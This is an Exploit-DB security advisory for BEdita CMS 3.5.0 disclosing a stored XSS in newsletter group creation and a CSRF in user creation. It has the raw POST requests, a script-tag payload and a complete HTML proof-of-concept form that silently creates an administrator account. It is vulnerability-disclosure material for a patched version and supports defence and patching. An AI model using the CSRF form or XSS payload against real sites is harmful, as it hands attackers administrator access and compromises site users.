BEdita CMS 3.5.0 – Multiple Vulnerabilities

  • 作者: Edric Teo
    日期: 2015-03-04
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  • 来源:https://www.exploit-db.com/exploits/36265/
  • BEdita CMS - XSS & CSRF Vulnerability in Version 3.5.0
    
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    Product Information:
    
    Software: BEdita CMS
    Tested Version: 3.5.0, released 19.1.2015
    Vulnerability Type: Cross-Site Scripting (CWE-79) & Cross-Site Request Forgery, CSRF (CWE-352)
    Download link: http://www.bedita.com/download-bedita
    Description: A software to create, manage content and organize it with semantic rules. (copied from http://www.bedita.com/what-is-bedita)
    
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    Issues:
    
    1) XSS in newsletter mail group creation page.
    2) CSRF in user creation page.
    
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    Vulnerability description:
    
    1) XSS in newsletter mail group creation page
    
    When an authenticated user of BEdita CMS is creating a newsletter mail group, the following POST request is sent to the server:
    
    POST /bedita-3.5.0.corylus.2261e29/bedita/index.php/newsletter/saveMailGroups HTTP/1.1
    Host: 127.0.0.1
    Proxy-Connection: keep-alive
    Content-Length: 523
    Cache-Control: max-age=0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
    Origin: http://127.0.0.1
    User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.111 Safari/537.36
    Content-Type: application/x-www-form-urlencoded
    Referer: http://127.0.0.1/bedita-3.5.0.corylus.2261e29/bedita/index.php/newsletter/viewMailGroup/
    Accept-Encoding: gzip, deflate
    Accept-Language: en-US,en;q=0.8
    Cookie: CAKEPHP=me57vjaqc2ts154qr342a6u6i2; /impresscms_1.3.7_final/htdocs/modules/profile/admin/field.php_mod_profile_Field_sortsel=field_name; /impresscms_1.3.7_final/htdocs/modules/profile/admin/field.php_mod_profile_Field_ordersel=ASC; /impresscms_1.3.7_final/htdocs/modules/profile/admin/field.php_limitsel=15; /impresscms_1.3.7_final/htdocs/modules/profile/admin/field.php_mod_profile_Field_filtersel=default; flash=yes; PHPSESSID=tg14v79ionj9d7lpelap300p33; cms-panel-collapsed-cms-menu=false; cms-panel-collapsed-cms-content-tools-CMSPagesController=true; cms-panel-collapsed-cms-content-tools-CMSMain=false; _ga=GA1.1.621011711.1425057132
    
    data[MailGroup][id]=&data[MailGroup][group_name]=<script>alert(0)</script>&data[MailGroup][area_id]=1&data[MailGroup][visible]=1&data[MailGroup][security]=none&data[MailGroup][confirmation_in_message]=Hi [$user], 
    
    your+subscription+is+now+active,+soon+you'll+receive+the "[$title]"+newsletter.&data[MailGroup][confirmation_out_message]=Hi [$user], 
    
    you+have+been+unsubscribed+from "[$title]"
    
    The parameter data[MailGroup][group_name] is vulnerable to XSS.
    
    2) CSRF in user creation page
    
    When an authenticated administrative user of BEdita CMS is creating an user, the following POST request is sent to the server:
    
    POST /bedita-3.5.0.corylus.2261e29/bedita/index.php/users/saveUser HTTP/1.1
    Host: 127.0.0.1
    Proxy-Connection: keep-alive
    Content-Length: 339
    Cache-Control: max-age=0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
    Origin: http://127.0.0.1
    User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.111 Safari/537.36
    Content-Type: application/x-www-form-urlencoded
    Referer: http://127.0.0.1/bedita-3.5.0.corylus.2261e29/bedita/index.php/users/viewUser
    Accept-Encoding: gzip, deflate
    Accept-Language: en-US,en;q=0.8
    Cookie: CAKEPHP=me57vjaqc2ts154qr342a6u6i2; /impresscms_1.3.7_final/htdocs/modules/profile/admin/field.php_mod_profile_Field_sortsel=field_name; /impresscms_1.3.7_final/htdocs/modules/profile/admin/field.php_mod_profile_Field_ordersel=ASC; /impresscms_1.3.7_final/htdocs/modules/profile/admin/field.php_limitsel=15; /impresscms_1.3.7_final/htdocs/modules/profile/admin/field.php_mod_profile_Field_filtersel=default; flash=yes; PHPSESSID=tg14v79ionj9d7lpelap300p33; cms-panel-collapsed-cms-menu=false; cms-panel-collapsed-cms-content-tools-CMSPagesController=true; cms-panel-collapsed-cms-content-tools-CMSMain=false; _ga=GA1.1.621011711.1425057132
    
    data[User][auth_type]=bedita&data[User][userid]=csrfadmin99&data[User][auth_params][userid]=&pwd=1qazXSW@&data[User][passwd]=1qazXSW@&data[User][realname]=csrfadmin99&data[User][email]=csrfadmin99@admin.com&data[User][valid]=1&groups=&data[groups][administrator]=on
    
    By executing the following Proof-of-Concept, a new user called "csrfadmin99" will be created with the password "1qazXSW@".
    
    <html>
    <body>
    <form action="http://127.0.0.1/bedita-3.5.0.corylus.2261e29/bedita/index.php/users/saveUser" method="POST">
    <input type="hidden" name="data[User][auth_type]" value="bedita" />
    <input type="hidden" name="data[User][userid]" value="csrfadmin99" />
    <input type="hidden" name="pwd" value="1qazXSW@" />
    <input type="hidden" name="data[User][passwd]" value="1qazXSW@" />
    <input type="hidden" name="data[User][realname]" value="csrfadmin99" />
    <input type="hidden" name="data[User][email]" value="csrfadmin99@admin.com" />
    <input type="hidden" name="data[User][valid]" value="1" />
    <input type="hidden" name="data[groups][administrator]" value="on" />
    <input type="submit" value="Submit request" />
    </form>
    </body>
    </html>
    
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    Impact:
    
    1) An attacker is able to leverage on the XSS vulnerability to exploit users of BEdita. An example would be to Inject malicious JavaScript code in order to use attacking tools like BeEF.
    2) An attacker is able to create an user account with administrator privilege.
    
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    Solution:
    
    Update to the latest version, which is 3.5.1, see https://groups.google.com/forum/?fromgroups#!topic/bedita/SOYrl5C-YRg
    
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    Timeline:
    
    Vulnerability found: 11.2.2015
    Vendor informed: 11.2.2015
    Response by vendor: 11.2.2015
    Fix by vendor 19.2.2015
    Public Advisory: 1.3.2015
    
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    References:
    https://github.com/bedita/bedita/issues/591
    https://github.com/bedita/bedita/issues/597
    
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